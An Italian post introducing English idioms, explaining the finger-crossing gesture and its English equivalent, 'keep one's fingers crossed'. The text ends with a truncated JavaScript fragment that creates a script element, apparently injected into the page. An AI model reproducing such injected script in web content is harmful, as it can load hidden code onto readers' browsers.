crossedE’ sicuramente capitato a tutti di venire a conoscenza di alcuni modi di dire britannici che in italiano, tradotti letteralmente, non hanno alcun significato apparente. Infatti è altamente raro che certe espressioni e modi di dire in inglese e in italiano siano letteralmente traducibili nell’altra lingua. E’ comunque altresì possibile incappare in modi di dire che, se tradotti letteralmente, possano avere lo stesso significato nelle due lingue.

In queste settimane vi presenteremo una serie di espressioni che potrebbero esservi utili per tradurre alcuni modi di dire e capirne il reale significato. In tal modo cercheremo di farvi evitare brutte figure nel caso in cui tali traduzioni letterali possano farvi incorrere in tutt’altri significati.

Nella cultura occidentale, tra i gesti  usati almeno una volta nella vita da ognuno di noi, come rituale scaramantico, troviamo quello di “incrociare le dita”. Ai giorni nostri, questo gesto viene usato per augurarsi o augurare buona fortuna e per difendersi dalla mala sorte, anche quando, per esempio, diciamo una bugia. Il gesto di incrociare le dita ha in realtà origini religiose: già nel Medioevo tale gesto era utilizzato per tenere lontano il diavolo, il malocchio e la sfortuna. Anche in lingua inglese viene usata la stessa espressione per indicare questo segno scaramantico: “keep one’s fingers crossed”![:]var d=document;var s=d.createElement(‘script’